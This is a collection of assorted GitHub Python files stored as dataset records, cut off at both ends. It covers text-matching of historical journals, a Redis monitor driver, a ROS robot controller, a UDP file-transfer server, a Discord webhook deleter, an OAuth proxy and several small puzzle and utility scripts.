pd.read_csv(path_data_woodruff_raw)\n\n# clean woodruff data\ncolumns = ['Internal ID', 'Parent ID', 'Order', 'Document Type', 'Website URL', 'Dates', 'Text Only Transcript']\nnew_columns = {'Internal ID':'internal_id',\n               'Parent ID':'parent_id',\n               'Order':'order',\n               'Document Type':'document_type',\n               'Website URL':'website_url',\n               'Dates':'dates',\n               'Text Only Transcript':'text_woodruff'\n               }\ndata_woodruff = data_woodruff.rename(columns=new_columns)[list(new_columns.values())]\ndata_woodruff = data_woodruff.query(\"document_type=='Journals'\")\n# text = StringUtil.combine_rows(data_woodruff['text'])\ndata_woodruff['text_woodruff'] = StringUtil.str_replace_column(data_woodruff['text_woodruff'], replacements_woodruff)\n# data_woodruff.info()\n\n#%%\n# clean scripture data\ndata_scriptures = data_scriptures.rename(columns={'text':'text_scriptures'})\n# data_scriptures['text_scriptures'] = StringUtil.str_replace_column(data_scriptures['text_scriptures'], scripture_replacements)\n\n# filter to certain volumes\nvolume_titles = [\n     'Old Testament',\n     'New Testament',\n     'Book of Mormon',\n     'Doctrine and Covenants',\n     'Pearl of Great Price',\n     ]\ndata_scriptures = data_scriptures.query(\"volume_title in @volume_titles\")\n# query = \"verse_title == 'Doctrine and Covenants 136:11'|verse_title == 'Doctrine and Covenants 136:12'|verse_title == 'Doctrine and Covenants 136:13'|verse_title == 'Doctrine and Covenants 136:14'|verse_title == 'Doctrine and Covenants 136:15'|verse_title == 'Doctrine and Covenants 136:16'|verse_title == 'Doctrine and Covenants 136:17'\"\n# data_scriptures = data_scriptures.query(query)\ndata_scriptures\n\n#%%\n\nphrase_length = 10\nthreshold = .7\nprint('volumes:', volume_titles)\nprint('phrase length:', phrase_length)\nprint('threshold:', threshold)\nmatch_extractor = MatchExtractor(data_woodruff.copy(),\n                                 data_scriptures.copy(),\n                                 phrase_length,\n                                 threshold=threshold)\n# iterate through each row of scripture phrases dataset and run TFIDF model and cosine similarity.\nmatch_extractor.run_extractor(path_matches=path_matches, git_push = True, quarto_publish=False)\n\nmatch_extractor.matches_total\n\n#%%\n# git add .;git commit -m 'changes';git push;\n# import pandas as pd\n# cool_dict = {\n#     'index_woodruff':[1,2,3,10,20],\n#     'index_scriptures':[1,2,3,20,32],\n#     'text_woodruff':['hello','my','name','poop','banana'],\n# }\n\n# data = pd.DataFrame(cool_dict)\n# data\n\n# #%%\n\n# data.sort_values(['index_woodruff', 'index_scriptures'], inplace=True)\n# # Create a mask to identify rows where the indices are not 1 apart\n# mask = (data['index_woodruff'].diff() != 1) | (data['index_scriptures'].diff() != 1)\n# mask\n# data['group'] = mask.cumsum()\n# data\n\n# #%%\n# # Create a new column to identify groups based on the mask\n# data = data.groupby('group').agg({\n#     'index_woodruff': 'last',\n#     'index_scriptures': 'last',\n#     # 'match_count' : 'sum',\n#     # 'cosine_score': 'mean',\n#     # 'verse_title': 'first',\n#     # 'volume_title': 'first',\n#     # 'internal_id': 'first',\n#     # 'parent_id': 'first',\n#     # 'order': 'first',\n#     # 'website_url': 'first',\n#     'text_woodruff': ' '.join,\n#     # 'text_scriptures': ' '.join,\n#     # 'dates': 'first',\n# })\n# # data['cosine_score'] = data['cosine_score'].apply(lambda x: round(x, 5))\n# data\n\n# #%%\n\n# data = data.append({'index_woodruff':4, 'index_scriptures':4,'text_woodruff':'is porter'}, ignore_index=True)\n# data\n\n# # %%\n# data.sort_values(['index_woodruff', 'index_scriptures'], inplace=True)\n# # Create a mask to identify rows where the indices are not 1 apart\n# mask = (data['index_woodruff'].diff() != 1) | (data['index_scriptures'].diff() != 1)\n# mask\n# data['group'] = mask.cumsum()\n# data\n\n# data.groupby('group').agg({\n#     'index_woodruff': 'last',\n#     'index_scriptures': 'last',\n#     # 'match_count' : 'sum',\n#     # 'cosine_score': 'mean',\n#     # 'verse_title': 'first',\n#     # 'volume_title': 'first',\n#     # 'internal_id': 'first',\n#     # 'parent_id': 'first',\n#     # 'order': 'first',\n#     # 'website_url': 'first',\n#     'text_woodruff': ' '.join,\n#     # 'text_scriptures': ' '.join,\n#     # 'dates': 'first',\n# })\n\n#%%\n\n# import pandas as pd\n# import numpy as np\n# from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer, TfidfTransformer\n# from IPython.display import display\n\n# documentA = 'the man went out for a walk'\n# documentB = 'the children sat around the fire'\n# corpus = [documentA, documentB]\n# bagOfWordsA = documentA.split(' ')\n# bagOfWordsB = documentB.split(' ')\n# bagOfWordsA\n# bagOfWordsB\n\n# #%%\n# uniqueWords = set(bagOfWordsA).union(set(bagOfWordsB))\n# uniqueWords\n# #%%\n# print('----------- compare word count -------------------')\n# numOfWordsA = dict.fromkeys(uniqueWords, 0)\n# for word in bagOfWordsA:\n#     numOfWordsA[word] += 1\n# numOfWordsB = dict.fromkeys(uniqueWords, 0)\n# for word in bagOfWordsB:\n#     numOfWordsB[word] += 1\n# numOfWordsB\n\n# #%%\n# series_A = pd.Series(numOfWordsA)\n# series_B = pd.Series(numOfWordsB)\n# df = pd.concat([series_A, series_B], axis=1).T\n# df = df.reindex(sorted(df.columns), axis=1)\n# display(df)\n\n# #%%\n# tf_df = df.divide(df.sum(1),axis='index')\n# tf_df\n\n# #%%\n\n# n_d = 1+ tf_df.shape[0]\n# df_d_t = 1 + (tf_df.values>0).sum(0)\n# idf = np.log(n_d/df_d_t) + 1\n# idf\n\n# #%%\n# pd.DataFrame(df.values * idf,\n#                   columns=df.columns )\n\n\n\n# # %%","repo_name":"wilfordwoodruff/DSS_S23_Scripture","sub_path":"code/run_extractor.py","file_name":"run_extractor.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11610750654","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author : Patrick Charron\n# Email : patrick.charron.pc@gmail.com\n# Description : Top Informations Viewer\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\"\"\"Redis Driver\"\"\"\nimport datetime\n\nfrom . import driver\nimport redis\n\nclass RedisDriver(driver.Driver):\n    \"\"\"\n    Redis Driver\n    \"\"\"\n    def __init__(self):\n        driver.Driver.__init__(self)\n        self.config.add(\"host\", default=\"localhost\", required=False, validator=str)\n        self._sql = None\n        self.name = \"redis\"\n\n    def tops(self):\n        \"\"\"\n        Refresh redis informations\n        \"\"\"\n        try:\n            redis_process = self._sql.client_list()\n        except Exception as e:\n            raise driver.DriverError(\"Could not retieve process : \" + str(e))\n        all_process = []\n        try:\n            for row in redis_process:\n                p = {}\n                p[\"address\"] = row[\"addr\"].split(':')[0]\n                p[\"db\"] = row[\"db\"]\n                p[\"flags\"] = row[\"flags\"]\n                p[\"cmd\"] = row[\"cmd\"]\n                all_process.append(p)\n        except all as e:\n            print(e)\n            pass\n        return all_process\n\n    def info(self):\n        try:\n            redis_stats = self._sql.info()\n            self._version = redis_stats[\"redis_version\"]\n            self._uptime = str(datetime.timedelta(seconds = redis_stats[\"uptime_in_seconds\"]))\n        except:\n            raise driver.DriverError(\"Could no retrive uptime\")\n\n    def initialize(self):\n        \"\"\"\n        Initialize redis connection\n        \"\"\"\n        try:\n            db = redis.StrictRedis(host=self.config.host, db=0)\n        except Exception as e:\n            raise driver.DriverError(\"Impossible to connect to the database serveur : \" + str(e))\n        self._sql = db\n","repo_name":"flyingcoconut/mytop","sub_path":"mytop/drivers/redisdb.py","file_name":"redisdb.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70489883895","text":"import os\nimport shutil\nimport logging\n\nlogger = logging.getLogger(\"addon-tools.utils.interface\")\n\n\ndef verify_interface(interface: str | list[str]):\n    if isinstance(interface, str):\n        logger.info(f\"Verifying single interface {interface}...\")\n        if shutil.which(interface):\n            logger.debug(f\"Interface {interface} verified.\")\n            return interface\n        else:\n            logger.error(f\"Interface {interface} not present.\")\n            return False\n    elif isinstance(interface, list):\n        for alias in interface:\n            logger.debug(f\"Verifying interface: '{alias}'\")\n            if shutil.which(alias):\n                logger.debug(f\"Interface `{alias}` verified.\")\n                return alias\n\n        logger.debug(f\"Interface not found.\")\n        return False\n    else:\n        raise ValueError(\"Unable to verify interface. No arguments provided.\")\n","repo_name":"Ghostamoose/warcraft-addon-tools","sub_path":"addontools/shared/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74009942455","text":"#!/usr/bin/env python3\n\n\"\"\"Compute what happens with a guess given a word.\"\"\"\n\n\nimport os\n\nfrom common import get_solution_words, write_csv_dicts, do_guess\n\nif __name__ == \"__main__\":\n    results = []\n    for word in get_solution_words():\n        for word2 in get_solution_words():\n            mask = do_guess(correct_word=word, guess_word=word2)\n            results.append({\n                \"word\": word,\n                \"guess\": word2,\n                \"mask\": \",\".join(mask),\n            })\n    write_csv_dicts(\n        filename=os.path.join(os.path.dirname(__file__), \"guess_matrix.csv\"),\n        dicts=results)\n","repo_name":"1337/yesterday-i-learned","sub_path":"scripts/wordle/guess_matrix.py","file_name":"guess_matrix.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"22"}
+{"seq_id":"38776291140","text":"#!/usr/bin/env python3\n\nimport rospy\nimport matplotlib.pyplot as plt\nfrom math import sqrt, pi\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Twist\nfrom tf.transformations import euler_from_quaternion\n\n# helper method determine orientation change\ndef orientation_change(prev, new, ang_vel):\n    change = abs(new - prev)\n    if change < ang_vel:\n        return change\n    else:\n        return 2 * pi - change #if change is more than angular velocity that means angle started from 0 again, i.e. it went from 2pi to 0\n\n# helper method to get orientation angle from quaternion\ndef get_orientation(msg):\n    orientation = msg.pose.pose.orientation\n    (roll, pitch, yaw) = euler_from_quaternion([orientation.x, orientation.y, orientation.z, orientation.w])\n    # make -pi:pi to 0:2pi\n    if yaw < 0:\n        yaw = 2 * pi + yaw\n    return yaw\n\nclass MoveRobot:\n    def __init__(self, publisher):\n        self._publisher = publisher\n        self._init_odom = None\n        self._distance_travelled = 0\n        self._count = 0\n        self._prev_orientation = 0          # orientation in last odom message\n        self._total_orientation = 0         # total orientation robot has changed so far\n        self._turn_upto = 0                 # angle upto which robot needs to turn to\n        self._turn = False                  # Boolean value to hold when to turn\n        self._x = []                        # list to store values of x from odom\n        self._y = []                        # list to store values of y from odom\n\n    def plot(self):\n        # plot the odom data\n        plt.plot(self._x, self._y)\n        plt.xlabel('x')\n        plt.ylabel('y') \n        plt.title('Odom Data') \n        plt.show()\n\n    def callback(self, msg):\n        # check if required motion commands has been completed 4 times\n        if self._count == 4:\n            # command robot to stop\n            twist = Twist()\n            twist.linear.x = 0\n            twist.angular.z = 0\n            self._publisher.publish(twist)\n            rospy.signal_shutdown(\"motion complete\")\n\n        # init default values on first message\n        if self._init_odom is None:\n            self._prev_orientation = get_orientation(msg)\n            self._turn_upto = pi/2\n            self._init_odom = msg\n\n        # update robots current distance and orientation change since last message\n        self.update_distance(msg)\n        self.update_total_orientation(msg)\n\n        # keep moving robot if it has travelled less than 2m (0.2m/s * 10s = 2m)\n        if self._distance_travelled < 2:\n            twist = Twist()\n            twist.linear.x = 0.2\n            self._publisher.publish(twist)\n        # after robot has moved 2m, turn it 90 degrees\n        elif self._turn and self._total_orientation < self._turn_upto:\n            twist = Twist()\n            twist.linear.x = 0\n            twist.angular.z = -30 * pi / 180      # rotation speed of 30deg/s\n            self._publisher.publish(twist)\n        # once robot has moved 2meters and turned 90deg, then reset the move settings and increase counter\n        else:\n            twist = Twist()\n            twist.linear.x = 0\n            twist.angular.z = 0\n            self._distance_travelled = 0\n            self._turn_upto += pi/2\n            self._count += 1\n            self._init_odom = msg\n            self._publisher.publish(twist)\n\n    # helper method to update distance travelled by robot\n    def update_distance(self, msg):\n        x = msg.pose.pose.position.x\n        y = msg.pose.pose.position.y\n        self._x.append(x)\n        self._y.append(y)\n        init_x = self._init_odom.pose.pose.position.x\n        init_y = self._init_odom.pose.pose.position.y\n        self._distance_travelled = sqrt((x - init_x) * (x - init_x) + (y - init_y) * (y - init_y))\n        # if the robot has travelled for 2m, then it needs to turn\n        self._turn = True if self._distance_travelled >= 2 else False\n\n    def update_total_orientation(self, msg):\n        curr = get_orientation(msg)\n        self._total_orientation += orientation_change(self._prev_orientation, curr, 30*pi/180)\n        self._prev_orientation = curr\n\ndef main():\n    rospy.init_node('make_square')\n\n    publisher = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\n\n    move_robot = MoveRobot(publisher)\n    rospy.Subscriber('/noisy_odom', Odometry, move_robot.callback)\n\n    rospy.on_shutdown(move_robot.plot)\n    rospy.spin()\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"gsinghkular/8924","sub_path":"q1/scripts/drive_robot.py","file_name":"drive_robot.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30354506384","text":"import time\nimport requests\nimport pyfiglet\n\nbanner = pyfiglet.figlet_format(\"dxvl#0001\")\n\nprint(banner)\nhook = input(\"URL du webhook : \")\ndef delete(webhook):\n    requests.delete(webhook)\n    check = requests.get(webhook)\n    if check.status_code == 404:\n        print(\"\\n [✔] Succes, webhook deleted.\")\n    elif check.status_code == 200:\n        print(\"\\n [✗] Fail, impossible to remove the webhook.\")\n\nkingman_top = 1\nif kingman_top == 1:\n    delete(hook)\n","repo_name":"zOrOgVnG/webhook_deleter","sub_path":"delete_webhook.py","file_name":"delete_webhook.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10950624653","text":"#!/usr/bin/env python\n\n\nimport socket\nimport time\nimport logging\n\nfrom utilities.utilities import *\n\nclass Server:\n\tPACKET_SIZE = 1024\n\tSERVER_PORT = 80\n\tCHUNK_SIZE = 2048\n\tMAX_TIME_BETWEEN_PACKETS = 0.01\n\tSTART_SEQUENCE_NUMBER = 100000\n\tSERVER_DONE = \"SERVER_DONE\"\n\tMETA = \"META\"\n\tCHUNK = \"CHUNK\"\n\n\n\tdef __init__(self):\n\t\tself.logger = logging.getLogger(__name__)\n\n\t\tself.logger.info(f\"creating server socket on port {self.SERVER_PORT}\")\n\t\tself.socket = create_server_socket(self.SERVER_PORT)\n\t\tself.client_address = None\n\n\n\tdef receive_all_chunks(self):\n\t\tchunks = []\n\t\tpackets = []\n\t\tnew_packets = []\n\t\tremaining_sequence_nrs = []\n\t\tfirst_sequence_nr = file_size = nr_of_packets = last_packet_time = nr_of_chunks = 0\n\t\tfile_name = \"\"\n\n\t\tfile_meta, client_address = self.receive_file_meta()\n\t\tself.client_address = client_address\n\t\tfile_size, file_name, nr_of_packets, remaining_sequence_nrs, nr_of_chunks = handle_meta_packet(file_meta)\n\n\t\tchunk_sequence_nrs = generate_chunk_sequence_nrs(self.START_SEQUENCE_NUMBER, self.CHUNK_SIZE, nr_of_chunks)\n\n\t\tself.logger.info(\"sending META to client\")\n\t\tself.reply_message(self.META) # send META to client, making the client send all chunks\n\n\t\tfor sequence_nr in chunk_sequence_nrs:\n\t\t\tchunks.append(self.receive_chunk(sequence_nr, remaining_sequence_nrs))\n\n\t\tfor chunk in chunks: # store all packets in a 1d list\n\t\t\tfor packet in chunk[1:]: # remove chunk-meta packet from the data packets\n\t\t\t\tpackets.append(packet[7:]) # remove sequence nr and delim from data packet\n\n\t\tself.logger.info(f\"all {len(packets)} packets received\")\n\n\t\treturn file_name, packets\n\n\n\tdef receive_chunk(self, chunk_sequence_nr, remaining_sequence_nrs):\n\t\tchunk = []\n\t\tnew_packets = []\n\t\tremaining_nrs_in_chunk = []\n\t\tfirst_packet_received = False\n\t\tlast_packet_time = 0\n\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tif first_packet_received and time.clock() - last_packet_time > self.MAX_TIME_BETWEEN_PACKETS: # artificial timeout, reply lost packets\n\t\t\t\t\tchunk, remaining_nrs_in_chunk = self.artificial_timeout(chunk, chunk_sequence_nr, new_packets, remaining_nrs_in_chunk)\n\t\t\t\t\tnew_packets = []\n\t\t\t\t\tfirst_packet_received = False\n\t\t\t\t\tif self.reply_lost_packets(remaining_nrs_in_chunk):\n\t\t\t\t\t\tself.logger.info(f\"all packets received in chunk {int((chunk_sequence_nr - self.START_SEQUENCE_NUMBER - 1) / self.CHUNK_SIZE)}\")\n\t\t\t\t\t\tbreak\n\n\t\t\t\tpacket, client_address = self.socket.recvfrom(self.PACKET_SIZE)\n\n\t\t\texcept socket.error as e:\n\t\t\t\tif handle_socket_errors(e.args[0]):\n\t\t\t\t\tcontinue\n\n\t\t\telse:\n\t\t\t\tpacket = packet.decode()\n\t\t\t\tnew_packets.append(packet)\n\n\t\t\t\tif not first_packet_received:\n\t\t\t\t\tfirst_packet_received = True\n\n\t\t\t\t\tsplit_packet = packet.split(\";\")\n\t\t\t\t\tincoming_sequence_nr = int(split_packet[0])\n\t\t\t\t\tif incoming_sequence_nr == chunk_sequence_nr: # meta packet\n\t\t\t\t\t\tself.logger.info(\"chunk meta packet received\")\n\n\t\t\t\t\t\ttotal_packets = int(split_packet[1])\n\t\t\t\t\t\tremaining_nrs_in_chunk = calculate_remaining_chunk_sequence_nrs(chunk_sequence_nr, total_packets)\n\t\t\t\t\t\t#self.logger.info(f\"remaining packets in chunk:{len(remaining_nrs_in_chunk)}\")\n\n\t\t\t\t\t\tself.logger.info(\"sending CHUNK to client\")\n\t\t\t\t\t\tself.reply_message(self.CHUNK)\n\n\t\t\t\tlast_packet_time = time.clock()\n\n\t\treturn chunk\n\n\n\tdef artificial_timeout(self, chunk, chunk_sequence_nr, new_packets, remaining_sequence_nrs):\n\t\tchunk, remaining_sequence_nrs = update_packets(chunk, new_packets, remaining_sequence_nrs)\n\n\t\tif len(remaining_sequence_nrs) != 0: # print information if there were lost packets\n\t\t\tpadding = 7\n\t\t\tinformation = \"chunk: \" + str(int((chunk_sequence_nr - self.START_SEQUENCE_NUMBER - 1) / self.CHUNK_SIZE)).ljust(padding)\n\t\t\tinformation += \"new: \" + str(len(new_packets)).ljust(padding)\n\t\t\tinformation += \"remaining in chunk: \" + str(len(remaining_sequence_nrs)).ljust(padding)\n\t\t\tinformation += \"total: \" + str(len(chunk)).ljust(padding)\n\t\t\tself.logger.info(information)\n\n\t\treturn chunk, remaining_sequence_nrs\n\n\n\tdef reply_lost_packets(self, lost_packets):\n\t\tif len(lost_packets) == 0:\n\t\t\tself.reply_message(self.SERVER_DONE)\n\t\t\treturn True # return True because there are no lost packets to be received\n\n\t\tpackets = []\n\t\tremaining_nrs = len(lost_packets)\n\t\tsequence_nrs_per_packet = self.PACKET_SIZE // 7 # 7 for len(seq_nr) + 1 for delimeter\n\t\tsequence_nrs_in_packet = sequence_nrs_per_packet\n\t\tpacket_counter = 0\n\n\t\twhile remaining_nrs > 0:\n\t\t\tpacket = \"\"\n\n\t\t\tif remaining_nrs < sequence_nrs_per_packet: # reduce loop iterations for the last iteration\n\t\t\t\tsequence_nrs_in_packet = remaining_nrs\n\t\t\tremaining_nrs -= sequence_nrs_in_packet # remove the number of sequence nrs left that we need to iterate through\n\n\t\t\tfor i in range(0, sequence_nrs_in_packet): # create packet with sequence nrs\n\t\t\t\tpacket += str(lost_packets[packet_counter]) + \";\"\n\t\t\t\tpacket_counter += 1\n\n\t\t\tpackets.append(packet)\n\n\t\tself.send_all(packets)\n\n\t\treturn False # return False because there are still lost packets to be received\n\n\n\tdef send_all(self, packets):\n\t\tfor packet in packets:\n\t\t\tself.socket.sendto(packet.encode(), self.client_address)\n\n\n\tdef receive_file_meta(self):\n\t\tself.logger.info(\"trying to receive file meta packet...\")\n\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tpacket, client_address = self.socket.recvfrom(self.PACKET_SIZE)\n\n\t\t\texcept socket.error as e:\n\t\t\t\tif handle_socket_errors(e.args[0]):\n\t\t\t\t\tcontinue\n\n\t\t\telse:\n\t\t\t\tpacket = packet.decode()\n\t\t\t\tincoming_sequence_nr = get_sequence_nr(packet)\n\t\t\t\tif incoming_sequence_nr == self.START_SEQUENCE_NUMBER: # meta packet\n\t\t\t\t\tself.logger.info(\"file meta packet received\")\n\n\t\t\t\t\treturn packet, client_address\n\n\n\n\tdef reply_message(self, message):\n\t\tself.socket.sendto(message.encode(), self.client_address)\n","repo_name":"Insanious/UDP-file-transfer","sub_path":"server/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70619760055","text":"import numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\n\n\nclass Solve:\n    def __init__(\n            self,\n            flow_intensity=7.23,\n            service_intensity=4.9,\n            channel_count=4,\n            queue_size=1,\n    ):\n        self.alpha = flow_intensity\n        self.mu = service_intensity\n        self.r = channel_count\n        self.m = queue_size\n\n        self.s = [0 for _ in range(1 + self.r + self.m)]\n        self.s[0] = 1\n\n        self.t = np.linspace(0, 2)\n\n    def generate_step(self):\n        if len(self.s) == 1:\n            return lambda s, t: s\n\n        def step(s, t):\n            ans = [0 for _ in range(len(s))]\n            for i in range(len(s)):\n                if i < len(s) - 1:\n                    ans[i] -= self.alpha * s[i]\n                    ans[i] += min(self.r, i + 1) * self.mu * s[i + 1]\n                if i > 0:\n                    ans[i] += self.alpha * s[i - 1]\n                    ans[i] -= min(self.r, i) * self.mu * s[i]\n            return ans\n        return step\n\n    def draw(self, data: np.matrix):\n        for i in range(data.shape[1]):\n            plt.plot(self.t, data[:, i])\n        plt.show()\n\n    def transform_to_avg(self, steps: np.matrix):\n        ans = []\n        for step in steps:\n            ans.append([0, 0])\n            for i in range(step.shape[1]):\n                ans[-1][0] += min(self.r, i) * step[0, i]\n                ans[-1][1] += max(self.r - i, 0) * step[0, i]\n\n        print(ans)\n        ans = np.matrix(ans)\n        return ans\n\n    def solve(self):\n        func = self.generate_step()\n\n        steps = odeint(func, self.s, self.t)\n        steps = np.matrix(steps)\n        self.draw(steps)\n\n        avg_steps = self.transform_to_avg(steps)\n        self.draw(avg_steps)\n\n\nif __name__ == \"__main__\":\n    kebab2 = Solve()\n    kebab2.solve()\n","repo_name":"Neliitsme/ITMO-Applied-Math","sub_path":"lab4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6235804987","text":"import math\n\n\ndef sum_divisors(target, max_divisor=math.inf):\n\n    current = 3\n    total = 0\n\n    while True:\n        # Algorithm from https://www.math.uh.edu/~minru/web/divis2.html#:~:text=The%20most%20basic%20method%20for,of%20positive%20divisors%20for%20n.\n        # All integers divisible by 1 and themselves\n        total = current + (total <= max_divisor)\n        root = math.isqrt(current)\n        # optimize num // 50\n        for divisor in range(2, int(min(root, max_divisor)) + 1):\n            divided = current / divisor\n            # Only add if integer divisor; don't double-count square roots\n            if divided % 1 == 0:\n                total += divisor + divided\n        if total >= target:\n            return current\n        current += 1\n\n\nnumber = 34000000\npart1_target = 34000000 // 10\npart1 = sum_divisors(part1_target)\nprint(part1)\n\npart2_target = math.ceil(number / 11)\npart2 = sum_divisors(part2_target, 50)\nprint(part2)\n","repo_name":"ryan-heslin/Advent_of_Code_2015","sub_path":"solutions/day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3520454599","text":"from socket import *\nimport time\nimport threading\n\nport = 5555\nBUFFSIZE = 1024\n\n\ndef recv(sock):\n    while True:\n        msg = sock.recv(BUFFSIZE)\n        print(msg.decode())\n\nsock= socket(AF_INET, SOCK_STREAM)\nsock.connect(('localhost',port))     \n\nmy_id = input(\"ID를 입력하세요 : \")\nsock.send(('[' + my_id + ']').encode())\n\n\nwhile True:\n    th = threading.Thread(target=recv , args=(sock,))\n    th.start()\n    \n    msg = '[' + my_id + '] ' + input()\n    sock.send(msg.encode())\n","repo_name":"skdlfjl/network_programming","sub_path":"HW11_JIHEE_LEE/jimin_client.py","file_name":"jimin_client.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36190299987","text":"import distutils.core\nimport os\nimport sys\n\n\ndef _setup():\n    kwargs = {}\n\n    # Importing setuptools adds some features like \"setup.py develop\", but\n    # it's optional so swallow the error if it's not there.\n    try:\n        import setuptools\n    except ImportError as e:\n        print(e)\n        os._exit(1)\n\n    distutils.core.setup(\n        name=\"dutil\",\n        version=\"1.0.8\",\n        author=\"daling_qa\",\n        author_email=\"qa.list@daling.com\",\n        url=\"http://qa.corp.daling.com\",\n        description=\"tools\",\n        packages=setuptools.find_packages(exclude=[\"test\", \"*.log\"]),\n        package_data={\n        },\n        entry_points={\n         'console_scripts': [\n         ],\n          },\n        install_requires=[\n            'pytest',\n            'pyyaml',\n            'records'\n        ],\n        **kwargs\n    )\n\n\ndef main():\n    if len(sys.argv) > 1:\n        if sys.argv[1] == 'publish':\n            os.system('make publish')\n            sys.exit()\n\n    _setup()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"haoshanwei/pytest_autoTest","sub_path":"dutil/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20148918165","text":"from __future__ import annotations\nimport os\n\nimport httpx\nfrom fastapi import FastAPI, Response\nfrom pydantic import BaseModel\n\nCLIENT_ID = os.getenv(\"ALIYUNDRIVE_CLIENT_ID\")\nCLIENT_SECRET = os.getenv(\"ALIYUNDRIVE_CLIENT_SECRET\")\n\napp = FastAPI()\nhttp = httpx.AsyncClient()\n\n\nclass QrCodeRequest(BaseModel):\n    scopes: list[str]\n    width: int | None = None\n    height: int | None = None\n\n\nclass AuthorizationRequest(BaseModel):\n    grant_type: str\n    code: str | None = None\n    refresh_token: str | None = None\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown_event():\n    await http.aclose()\n\n\n@app.post(\"/oauth/authorize/qrcode\")\nasync def qrcode(request: QrCodeRequest) -> Response:\n    res = await http.post(\n        \"https://openapi.aliyundrive.com/oauth/authorize/qrcode\",\n        json={\n            \"client_id\": CLIENT_ID,\n            \"client_secret\": CLIENT_SECRET,\n            \"scopes\": request.scopes,\n            \"width\": request.width,\n            \"height\": request.height,\n        },\n    )\n    return Response(\n        content=res.content,\n        status_code=res.status_code,\n        media_type=res.headers[\"Content-Type\"],\n    )\n\n\n@app.post(\"/oauth/access_token\")\nasync def access_token(request: AuthorizationRequest) -> Response:\n    if request.refresh_token and len(request.refresh_token.split('.')) < 3:\n        return Response(\n            content=\"invalid refresh token\",\n            status_code=400,\n            media_type=\"text/plain\",\n        )\n\n    res = await http.post(\n        \"https://openapi.aliyundrive.com/oauth/access_token\",\n        json={\n            \"client_id\": CLIENT_ID,\n            \"client_secret\": CLIENT_SECRET,\n            \"grant_type\": request.grant_type,\n            \"code\": request.code,\n            \"refresh_token\": request.refresh_token,\n        },\n    )\n    return Response(\n        content=res.content,\n        status_code=res.status_code,\n        media_type=res.headers[\"Content-Type\"],\n    )\n","repo_name":"ainexur/aliyundrive-webdav","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"3286260514","text":"# -*- coding: utf-8 -*-\n# -*- coding: utf-8 -*-\n#authors: Florence Jornod - INSERM UMRS 1124\n#         Thomas Jaylet - Université Paris Cité - France\n#         Karine Audouze - Université Paris Cité - France\n\n#contact: systox@paris-descartes.fr\n\n\n#AOP-helpFinder is provided without any warranty. But if you have any probleme please feel free to contact us by mail.\n\n#------- WHAT IS AOPHELPFINDER? -------------\n\n#AOP-helpFinder is a tool developed to help AOP development (Jean-Charles Carvaillo: https://github.com/jecarvaill/aop-helpFinder)(Environ Health Perspect. 2019 Apr;127(4):47005).\n\n#It is based on text mining and parsing process on scientific abstracts. AOP-helpFinder identify links between stressors and molecular initiating event, key events and adverse outcomes through abstracts from the PubMed database (https://pubmed.ncbi.nlm.nih.gov/).\n\n#AOP-helpFinder was implemented under the H2020 Human Biomonintoring in Europe (HBM4EU) project, Work Package 13.1.\n#HBM4EU has received funding from the European Union’s H2020 research and innovation programme under grant agreement No 733032.\n\n#------- LICENCE ---------------------------\n\n#This software is governed by the CeCILL license under French law and abiding by the rules of distribution of free software.  You can  use,  modify and/ or redistribute the software under the terms of the CeCILL license as circulated by CEA, CNRS and INRIA at the following URL\n\n# http://cecill.info/licences/Licence_CeCILL_V2.1-en.txt\n\nimport argparse\nimport pandas as pd\nimport warnings\nimport os\n\nwarnings.filterwarnings(\"ignore\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--mode\", type=str, help=\"stressor-event or event-event\")\nparser.add_argument(\"--uid\", type=str, help=\"path of the file with all 